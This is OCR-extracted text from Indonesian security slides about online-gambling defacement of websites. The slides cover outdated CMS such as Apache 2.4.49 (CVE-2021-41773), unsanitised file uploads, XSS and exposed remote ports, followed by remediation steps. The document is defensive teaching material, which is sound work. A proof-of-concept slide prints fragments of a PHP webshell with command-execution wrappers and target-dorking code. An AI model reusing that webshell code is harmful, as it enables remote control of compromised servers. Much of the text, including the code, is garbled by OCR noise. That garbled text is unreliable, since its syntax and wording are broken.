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€1 Penyebab Terjadinya Situs Judi Online

 Menggunakan CMS/Teknologi yang outdated
* File Upload File yang tidak disanitasi

« XSS (Input file yang tidak disanitasi)
 Membuka port remote/shell pada ip publik



)l Menggunakan CMS/Teknologi yang outdated

C ] @ exploit-db.com/exploits/50383 @ A B =

For quick access, place your bookmarks here on the bookmarks bar. Import bookmarks now..

Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)

&
B EDB-ID: CVE: Author: Type: Platform: Date:
50383 2021-41773 LUCAS SOUZA WEBAPPS MULTIPLE 2021-10-06
E .
EDB Verified: Exploit: & / {} Vulnerable App: B

o
Q
- & @
*

@Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Exe@

# Date: 10/05/202T1
e, # Exploit Author: Lucas Souza https://lsass.io

# Vendor Homepage: https://apache.org/

# Version: 2.4.49

# Tested on: 2.4.49

# CVE @ CVE-2021-41773

# Credits: Ash Daulton and the cPanel Security Team
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€31 File Upload File yang tidak di sanitasi

- Pembatasan Ekstensi baik
secara front-end, maupun
( ’I‘ ) back-end

Drag&Drop files here

or

[ Browse Files




91 File Upload Yang Tidak disanitasi

Attacker mendapatkan target </> ’
Attacker dengan fitur file uploadyang ‘
dapat digunakannya Attacker meng-upload Website terkena

file defacementjudi defacementjudi online
Attacker meng-upload shell

online
Google dorking mencari (webshellmaupun reverse Attacker mendapatkan
target yang rentan shell) ke target akses ke dalam server
terhadap file upload
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Proof of Concept Web Defacement Judi
Online — File Upload
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Proof of Concept Web Defacement Judi
Online — File Upload

Fitur 7ile upload dapat
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Proof of Concept Web Defacement Judi
Online — File Upload

v  Private browsing

e = MBOJO NEW TEAM SHELL v1.1 X aF

« 24 O 8 =W messiandidg 00. tinmminiinimin @ L ® & =

Webshellyang telah
di-uploadoleh
attackerke dalam
server

" } } function exe(Scmd) { if(function_exists('system’)) { @ob_start(); @system($cmd); Sbuff = @ob_get_contents(); @ob_end_clean(); return

ob_get_contents(); @ob_end_clean(); return $buff; } elseif(function_exists(shell_exec')) {
1 } elseif (($perms

! n
. perm. "; } else { return "* $perm.""; } } function r(Sdir,$perm) { if(tis_readable($dir)) { return " *; } else { retum "

; foreach($results as Sresult) { Sbuff = $result; } return $buff; } elseif(function_exi 8
xC000) { // Socket Sinfo = ' s S h 0xA000) { // Symbolic Link Sinfo elseif ((Sperms & 0x8000) 0x8000) { // Regular Sinfo
i } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe Sinfo else { // Unknown $inf¢

Sbuff; } elseif(function_exists('exec")) { @exec($cmd,$results); $buff = ‘passthru’)) { @ob_start(); @passthru(Scmd); $buff
i hell_exec(Scmd); return Sbuff, } } function perms(Sfile){ $perms = fileperms(Sfile);if (($perms & 0xC000)
} elseif (($perms & 0x4000) == 0x4000) { // Directory Sinfo ='d’; } elseif (($perms & 0x2000) } // Owner Sinfo
(($perms & 0x0100) ? ; $i ((Sperms & 0x0080) ?'w' mfo ((Spcm\s &0x0040) ? ((Sperms & 0x08()0) 2 i ((Sperms & 0x0020) ?'r': ); Si (($perms & 0x0010) ? 'w' $info = (($perms & 0x0008) ? ((Sperms & 0x0400) ?
's':'x') : ((Sperms & 0x0400) ? :'x') : ((Sperms & 0x0200) ? 'T" : -1); return $info; } function hdd(Ss) { if($s >= 1073741824) return sprintf('% 1.2 $s /
l071741324) GB; elseif($s )
al); = lrpos(Spamm, Shmz‘ $start); Sreturn = subs

return FALSE; $start = strpos($param, $katal) + erlcn(Skml). Send =

CURLOPT_FOLLOWLOCATION, true); curl_setopt($Scurl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt(Scurl, CURLOPT_SSL_VERIFYHO!
array(); while($npage <= $npages) { $x = getsource(" http://svww.bing.com/search?q=".$dork."&first="_Snpage); if($x) { preg_match_all(#

(function_exists('curl_version')) ? "ON" : "
2. $show ds= 'empty($ds)) 2
PO! id(posix

($param, s:mn‘ $cnd - $start); n:lum Sn:tum: } function getsource($url) { Scus |_i
false); Scontent = curl_exec($curl); curl_close($curl); return Scontent; } function bing(Sdork) { $npage = 1; Snpages = 30000; SallLinks

"; $wget = (exe('wget

ON":" "s $ds = @ini_get("disable_functions"); $mysql = (function_exists('mysql_connect')) ? "ON" : " "s $curl =
--help )?2"ON":" s $perl (exe('perl --help")) ? "ON" "; $python = (exe( python --help')) ?2"C
exists('posix $ uid id(); $
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Kemungkinan Penyebab Utama Web
® ~ Defacement Judi Online — XSS

9T ¥

Attacker menginjeksi web script membuat web Websiteterkena
dengan payload XSS redirect ke website lain defacementijudi online

‘\ > ketika diakses srcopmoo

script “menimpa” file web

Web yang vuinerable yang asli dan digantikan
terhadap XSS dengan file defacement I

Attacker




Proof of Concept Web Defacement Judi
Online — XSS

scriptyang
diinjeksikan ke
dalam web berhasil
dieksekusi




, . Membuka Port SSH/Remote Desktop pada IP
¥ publik

ﬁ PuTTY Configuration @]
Categony:
- Terminal - Options controling S5H connections |
ge],lrboard Data to send to the server } - -
e | Remote command: o Remote Desktop Connection [ =
=- Window
- Appearance ) |
 Bebaiou Prtoce optons | Remote Desktop
- Translation [| Dont start a shell or command &t all < C -
|
. Selection ["] Enable compression }_ n n n ECtlu n
- Colours Prefemed 55H protocal version:
=I- Connection i) Tony 1 @2 (0) 2 onty
- Data E S _
- Proxy ELITILATE Computer: indows server.com v
- Telnet Encryption cipher selection palicy:
- Rlogin AES (S5H-2 only) Ll . fied
Blowfish SEr name: one speci
E‘J"Km IDES
-wam below here - 4 :
. Auth Aoctour (35H2 o) fou will be asked for credentials when you connect.
LTTY DES
1 R [ Enable legacy use of single-DES in S5H-2
o Tunnel ; :
BE;:E o | (»  Show Options Connect Help
About [ Open ] [ Cancel




E®1 Perbaikan Website Terdampak

‘.earmngs

Incident Response 4
Llfecycle

& TOOLBOX
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Recovery
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€91 Perbaikan Website Terdampak

No | Objective C | Keterangan

1 | Menentukan sistem yang terdampak dan segera melakukan isolasi
terhadap sistem yang terdampak ( (e.g Melakukan disconect
melalui jaringan, ataupun pencabutan kabel ethernet dari sistem))

2 | Melakukan pengecekan terhadap Content Management System
(CMS) yang digunakan, apakah sudah menggunakan versi terbaru
atau belum

3 | Melakukan pengecekan terhadap Plugin yang digunakan, apakah
sudah menggunakan versi terbaru atau belum

4 | Melakukan pengecekan terhadap username dan password yang Sudah tidak menggunakan
digunakan, apakah sudah menerapkan metode penggunaan password default, dan sudah
password yang direkomendasikan menggunakan kombinasi huruf

besar dan kecil, angka, simbol,
karakter unik

5 | Menerapkan sistem 7wo Factor Authentication (2FA) pada sistem
login




€91 Perbaikan Website Terdampak

untuk integrasi data sistem seperti API

No | Objective Keterangan
6 | Melakukan scanning webshell seperti melakukan pengecekan file-
file pada direktori website satu persatu untuk menemukan webshell
7/ | Melakukan pengecekan konfigurasi website apakah ada perubahan Apakah masih ada yang HTTP,
pada konfigurasi atau kesalahan pada konfigurasi sanitasi input
(missconfiguration)
8 | Melakukan inventarisasi pada website yang masih aktif digunakan
dan dikelola, serta menonaktifkan website yang sudah tidak pernah
digunakan
9 | Memeriksa portinternal yang terbuka dan dapat diakses oleh publik Linux: netstat —tutlpn
Windows: netsat —an | find “XX"
10 | Melakukan dump atau backup terhadap file website, kemudian Utamakan CSIRT yang sudah
dikirimkan ke BSSN secara resmi dengan surat permohonan dimiliki
perbantuan analisis
11 | Menerapkan Whitelist/VPN ketika domain/subdomain digunakan
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* Secure Coding

. Practice

E2 ANV

Testing

» Secure Code
Review

» Vulnerability
Assessment

' Deployment

* Secure
Deployment

P A

Malntenance

« Security
Patch Update



Update...

1 )

Update ke
CMS/Teknologi
Terbaru

Menguji keamanan aplikasi,
Kemudian perbaikan

__

Menerapkan sistem
keamanan seperti WAF/EDR



1 File Integrity Monitoring

/var/www/html (file web)

® @ New Resource Directory
Directory name: | anim
Resource type: an_i_r_r]

Source set: | main

Available qualifiers: Chosen gualifiers:
@ Metwork Code

& Locale

E Layout Direction

£l Smallest Screen Width

& Screen Width

Screen Height

Size -
EEl Ratio

[&] Orientation

i Ul Mode

@ Night Mode

[® Density

¥ Touch Screen

? Cancel ﬁ

Mothing to show
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